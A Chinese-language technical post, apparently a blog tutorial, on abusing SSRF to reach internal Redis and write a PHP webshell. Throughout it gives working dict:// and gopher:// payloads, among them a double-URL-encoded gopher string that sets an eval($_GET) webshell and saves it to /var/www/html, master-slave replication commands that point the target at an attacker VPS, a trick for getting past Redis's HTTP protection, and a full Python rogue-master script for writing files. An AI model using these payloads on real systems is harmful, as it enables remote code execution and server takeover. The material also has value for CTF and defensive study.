用dict协议通过SSRF间接打Redis的时候,数据中存在:
、'
等特殊字符会导致set失败,可以通过位运算、gopher协议、主从同步数据、主从同步文件等方式躲开坏字符的坑。
位运算
对存在特殊字符的数据进行位运算,再在目标Redis上通过位运算将数据还原回来。举个栗子:

- 利用抑或的特性先set两个不会与dict协议冲突的字符串
dict://127.0.0.1:6379/set:c:"|\x7f}%6!,hd\x1f\a\x05\x14\x1byqq\x1di{\x7f~"
dict://127.0.0.1:6379/set:b:'@@@@@@@@@@@@@@@@@@@@@@'
- 再在目标上还原
dict://127.0.0.1:6379/bitop:xor:a:b:c
- 设置RDB文件的保存路径为Web根目录
dict://127.0.0.1:6379/config:set:dir:/var/www/html/
- 设置RDB文件的保存文件名
dict://127.0.0.1:6379/config:set:dbfilename:tmp.php
- 持久化保存
dict://127.0.0.1:6379/bgsave

Gopher
对redis-cli的命令数据抓包,利用gopher协议封装后重放给目标Redis。由于Redis的授权认证只有简单的一串*2%0A%244%0Aauth%0A%248%0Afoobared
,且可以通过管道操作一次同时传输多条命令,因此这个方法还可以用来打知道密码的内网Redis。
- 监听环回口6379端口并抓包
sudo tcpdump port 6379 -i lo -w redis.pcap

- 用gopher协议编码封装
gopher://127.0.0.1:6379/_%244%0d%0aauth%0d%0a%248%0d%0afoobared%0d%0a*3%0d%0a%243%0d%0aset%0d%0a%241%0d%0aa%0d%0a%2422%0d%0a%3C%3F%3Deval(%24_GET%5B911%5D)%3B%3F%3E%0d%0a*4%0d%0a%246%0d%0aconfig%0d%0a%243%0d%0aset%0d%0a%243%0d%0adir%0d%0a%2414%0d%0a%2Fvar%2Fwww%2Fhtml%2F%0d%0a*4%0d%0a%246%0d%0aconfig%0d%0a%243%0d%0aset%0d%0a%2410%0d%0adbfilename%0d%0a%247%0d%0atmp.php%0d%0a*1%0d%0a%246%0d%0abgsave
- 对数据体URL编码后发给目标
?url=gopher://127.0.0.1:6379/_%25244%250d%250aauth%250d%250a%25248%250d%250afoobared%250d%250a*3%250d%250a%25243%250d%250aset%250d%250a%25241%250d%250aa%250d%250a%252422%250d%250a%253C%253F%253Deval(%2524_GET%255B911%255D)%253B%253F%253E%250d%250a*4%250d%250a%25246%250d%250aconfig%250d%250a%25243%250d%250aset%250d%250a%25243%250d%250adir%250d%250a%252414%250d%250a%252Fvar%252Fwww%252Fhtml%252F%250d%250a*4%250d%250a%25246%250d%250aconfig%250d%250a%25243%250d%250aset%250d%250a%252410%250d%250adbfilename%250d%250a%25247%250d%250atmp.php%250d%250a*1%250d%250a%25246%250d%250abgsave
如果嫌麻烦也可以用gopherus交互式生成payload,同样需要二次编码后再打,auth
开头的验证信息也要手动加一下
主从同步数据
将数据通过redis-cli写入VPS的Redis,让目标通过主从同步加载数据。
在VPS上通过redis-cli写入数据
在目标上设置主从同步
dict://127.0.0.1:6379/slaveof:1.1.1.1:6379
- 设置RDB文件的保存路径为Web根目录
dict://127.0.0.1:6379/config:set:dir:/var/www/html/
- 设置RDB文件的保存文件名
dict://127.0.0.1:6379/config:set:dbfilename:tmp.php
- 持久化保存
dict://127.0.0.1:6379/bgsave
- 断开主从同步
dict://127.0.0.1:6379/slaveof:no:one
主从同步文件
r35tart师傅将Redis主从同步RCE的脚本 RedisWriteFile 改了一下实现了无杂质写文件,这是一个主动连目标Redis打的脚本。
脚本耦合度不高只要把一些主动打的功能删掉就可以了,然后利用SSRF手动发包即可。
- 准备要无损写的文件,在VPS上执行脚本
python3 ssrf-redis-writefile.py --lhost=1.1.1.1 --lport=6379 --lfile=test.txt
- 设置RDB文件的保存路径为Web根目录
dict://127.0.0.1:6379/config:set:dir:/var/www/html/
- 设置RDB文件的保存文件名
dict://127.0.0.1:6379/config:set:dbfilename:tmp.php
- 在目标上设置主从同步
dict://127.0.0.1:6379/slaveof:1.1.1.1:6379
- 断开主从同步
dict://127.0.0.1:6379/slaveof:no:one
如果要用过认证或者是希望一把梭打完,就抓下包封装下gopher协议,道理是一样的。
但是在Redis中,为了防止http协议对Redis端口的攻击,它如果检测到”POST”或者”Host:”,就会中断这次连接,并且在日志中留下这行,我们可以通过添加%00绕过
但是Redis是一边判断一边逐行执行,所以只要在读到”Host:”之前把需要的操作做完即可,所以不加也没关系
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118
|
import socket from time import sleep from optparse import OptionParser
CLRF = "\r\n"
""" Author: hosch3n Reference: https://github.com/r35tart/RedisWriteFile/ """
def decode_cmd(cmd): if cmd.startswith("*"): raw_arr = cmd.strip().split("\r\n") return raw_arr[2::2] if cmd.startswith("$"): return cmd.split("\r\n", 2)[1] return cmd.strip().split(" ")
def info(msg): print("\033[1;32;40m[info]\033[0m {}".format(msg))
def din(sock, cnt=4096): global verbose msg = sock.recv(cnt) if verbose: if len(msg) < 1000: print("\033[1;34;40m[->]\033[0m {}".format(msg)) else: print("\033[1;34;40m[->]\033[0m {}......{}".format(msg[:80], msg[-80:])) return msg.decode('gb18030')
def dout(sock, msg): global verbose if type(msg) != bytes: msg = msg.encode() sock.send(msg) if verbose: if len(msg) < 1000: print("\033[1;33;40m[<-]\033[0m {}".format(msg)) else: print("\033[1;33;40m[<-]\033[0m {}......{}".format(msg[:80], msg[-80:]))
class RogueServer: def __init__(self, lhost, lport): self._host = lhost self._port = lport self._sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self._sock.bind(('0.0.0.0', self._port)) self._sock.listen(10)
def close(self): self._sock.close()
def handle(self, data): cmd_arr = decode_cmd(data) resp = "" phase = 0 if cmd_arr[0].startswith("PING"): resp = "+PONG" + CLRF phase = 1 elif cmd_arr[0].startswith("REPLCONF"): resp = "+OK" + CLRF phase = 2 elif cmd_arr[0].startswith("PSYNC") or cmd_arr[0].startswith("SYNC"): resp = "+FULLRESYNC " + "Z"*40 + " 1" + CLRF resp += "$" + str(len(payload)) + CLRF resp = resp.encode() resp += payload + CLRF.encode() phase = 3 return resp, phase
def exp(self): cli, addr = self._sock.accept() while True: data = din(cli, 1024) if len(data) == 0: break resp, phase = self.handle(data) dout(cli, resp) if phase == 3: break
def runserver(lhost, lport): try: rogue = RogueServer(lhost, lport) rogue.exp() sleep(3) rogue.close() except Exception as e: print("\033[1;31;m[-]\033[0m 发生错误! : {} \n[*] Exit..".format(e))
if __name__ == '__main__': parser = OptionParser() parser.add_option("--lhost", dest="lh", type="string", help="rogue server ip", metavar="LOCAL_HOST") parser.add_option("--lport", dest="lp", type="int", help="rogue server listen port, default 6379", default=6379, metavar="LOCAL_PORT") parser.add_option("--lfile", dest="lfile", type="string", help="Local file that needs to be written", metavar="Local_File_Name", default='dump.rdb') parser.add_option("-v", "--verbose", action="store_true", default=False, help="Show full data stream")
(options, args) = parser.parse_args() global verbose, payload, filename localfile = options.lfile verbose = options.verbose payload = open(localfile, "rb").read()
try: runserver(options.lh, options.lp) except Exception as e: info(repr(e))
|
参考链接
一次“SSRF–>RCE”的艰难利用
浅析SSRF认证攻击Redis
通过 SSRF 操作 Redis 主从复制写 Webshell
浅析Redis中SSRF的利用
2020 GACTF web